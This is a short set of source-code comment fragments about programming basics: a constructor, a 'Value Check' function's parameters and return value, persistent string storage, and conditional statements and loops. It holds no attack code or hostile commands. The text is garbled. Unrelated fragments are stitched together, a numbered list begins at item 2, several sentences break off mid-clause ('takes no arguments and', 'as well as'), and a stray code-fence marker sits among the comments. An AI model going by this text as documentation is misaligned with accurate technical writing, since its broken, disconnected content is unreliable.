//   Fields are initialized in the constructor of the class. The constructor takes no arguments and

//   Function: Value Check
//   Purpose: Verifies if a given value meets certain criteria.
//   Parameters:
//     
//   - $value (mixed): The value to be checked.
//     
//   - $criteria (array): An array containing the expected criteria for the value.
//   Returns:
//     
//   - bool: True if the value meets the criteria, False otherwise.
//   ```

//   - Purpose: To store and retrieve string data for later use.
//   - Functionality: Allows for the storage of string data in a persistent manner, enabling retrieval at 
//   a later time.
//   - Usage: Typically used to store user preferences, settings, or other string-based data that needs 
//   to be retained between sessions or application restarts.

//   2. These structures include conditional statements like `if`, `else if`, and `else`, as well as

//   3. Conditional statements allow the program to make decisions based on certain conditions, while 
//   loops enable repetitive execution of code blocks.
//   4. Proper use of these control structures is essential for creating efficient and effective
